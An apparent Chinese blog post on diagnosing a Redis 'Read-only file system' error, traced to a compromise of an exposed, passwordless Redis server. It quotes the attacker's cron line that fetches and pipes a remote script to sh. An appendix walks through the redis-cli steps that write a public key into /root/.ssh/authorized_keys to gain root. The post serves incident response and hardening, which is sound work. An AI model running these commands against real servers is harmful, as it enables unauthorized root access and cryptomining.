redis: Failed opening .rdb for saving: Read-only file system

 

# 1. 症状

 

系统: ubuntu 16.04

 

* redis部署完毕后,刚开始很正常,但是跑上一两天就会莫名其妙的出现redis连接异常的情况

查看日志,报错信息如下:

 

> 3684:M 14 Nov 16:47:22.666 * 1 changes in 900 seconds. Saving...

> 3684:M 14 Nov 16:47:22.666 * Background saving started by pid 4868

> 4868:C 14 Nov 16:47:22.670 * DB saved on disk

> 4868:C 14 Nov 16:47:22.670 * RDB: 0 MB of memory used by copy-on-write

> 3684:M 14 Nov 16:47:22.766 * Background saving terminated with success

> 3684:M 14 Nov 16:47:22.794 # Failed opening .rdb for saving: Read-only file system

> 3684:M 14 Nov 17:02:23.054 * 1 changes in 900 seconds. Saving...

> 3684:M 14 Nov 17:02:23.054 * Background saving started by pid 8041

> 8041:C 14 Nov 17:02:23.054 # Failed opening .rdb for saving: Read-only file system

 

前边还能正常写入,忽然就写入不了只读了(磁盘空间,内存占用都很低),检查存储文件`/var/lib/redis/dump.rdb` 文件权限正常,redis目录的权限也正常

 

# 2. 查找过程

翻阅各种帖子,有说redis被攻击的帖子,提醒了我。

查看了一下运行时redis的配置信息

```shell

root@instance-7w5yob14:~# redis-cli

127.0.0.1:6379> config get dir

1) "dir"

2) "/var/spool/cron"

127.0.0.1:6379> 

```

!!!还真的是被改掉了, `/var/spool/cron` 这个计划任务的目录,是`root`用户的权限,`redis`用户当前没法写了

 

网上搜一下,发现也有其他人被redis攻击了,植入`crontab`计划任务,变成了矿机

 

# 3. 解决问题

1. 增加redis 6379 端口的安全组限制,不让外部访问(我这是测试服,没有加限制,就悲剧了)

2. 检查计划任务是否已经被篡改了, 命令:`crontab -l`

  --> 我靠,还真有(`*/15 * * * * curl -fsSL xx.xx.xx.xx:7770/ash.sh|sh`)

  赶紧去掉吧。 直接删除 `/var/spool/cron/crontabs/` 下边的文件,这里边是命令写入的计划任务。

  然后重启crontab服务,命令:`service cron restart`

3. 检查 `/etc/cron.d`,以及 `/etc/crontab`,检查一下

   --> 我靠,这也被改了,而且还多了其他文件。删掉删掉,然后找个正常的服务器,拷贝正常的文件上来吧。然后重启crontab服务,命令:`service cron restart`

4. 计划任务全部干掉之后,再来看看被植入的脚本都干了啥。其中比较关键的是把rsa公钥写入了root用户下,从而获取到了root用户的权限,然后挖矿。赶紧删掉:`rm /root/.ssh/authorized_keys`

    

# 4. 总结

问题出现的原因

1.使用redis

2.没有设置redis密码

3.对外开放了6379端口

因为是测试服,所以没加限制,碰到了这种情况。 被人扫描端口,植入了脚本,变成了矿机。

 

 

补充:如何通过redis来植入计划任务,进而下一步木马程序的?

下边截取一段代码:

cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt

其中,前后加入空行,是关键
cat key.txt | redis-cli -h xx.xx.xx.xx -x set key
redis-cli -h xx.xx.xx
#查看靶机Redis备份路径
CONFIG GET dir
#修改靶机Redis备份路径
CONFIG SET dir /root/.ssh
#设置备份文件的名称为authorized_keys
CONFIG SET dbfilename authorized_keys
#检查是否更改成功
CONFIG GET dbfilename
#保存
save
ssh [email protected]

基本思路是修改数据库存储文件名字为 root,然后修改redis的数据保存路径 dir ,然后把秘钥写入字段,保存为authorized_keys文件

我测试了一下写入 /root/.ssh/authorized_keys 公钥,从而获取root权限的方式。这里边有个点,就是redis保存的文件内容,上边会带有一些特殊字符的字符串,这里通过把正确的公钥前后加上空格,让其作为三行内容,中间一行是有效的

 

REDIS0006þ^@^@^CkeyA<9b>


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa4xWwyONOhpdNxTU97R7bf++2+SKAPEY4PEUwadyDBQeVz5AOzuAef0O2vT/JoKQR6RUNEv/Uy+fwrdlmGT7Nu0LUonnvLQt4mn5qPro3viiNegwVuYbIdDPGOD1WNvWQAQQQwwoHAEinJAUYg9bOcgzTzZdCIJsAYGxeD6RPU92YaROx/2+JfujAkifrqid2hh7xiiTW9NjHtxm61b36VtGtpXkkgqg4PQzbpUugifC2E+VgKvCaa/5Tp9aTyezHxy6cKsmVV3LNuSZu80yYIqTsAK5SbZzXe0WdZzXlwpMFOM7AfoTdS0llfjaz/ETIDEG2h8aw0gnfT3Rpb6IX wlg@wlg-virtual-machine

^@^AaÁg+^@
dbfilename^Drootÿ/OÜ<87>1>  ^A

 

攻击前提:

1.6379端口对外开放

2.没有加redis密码

3.使用root用户 启动了redis-server,没有使用 server redis 服务启动redis(这里有个分支,如果使用server 服务命令来启动,那么redis进程就归属于 redis用户,没有root的权限。 修改完dir路径后,也没有权限写入  --》 这样redis日志就会报错,提示 Read-only file system 了)

你可能感兴趣的:(redis)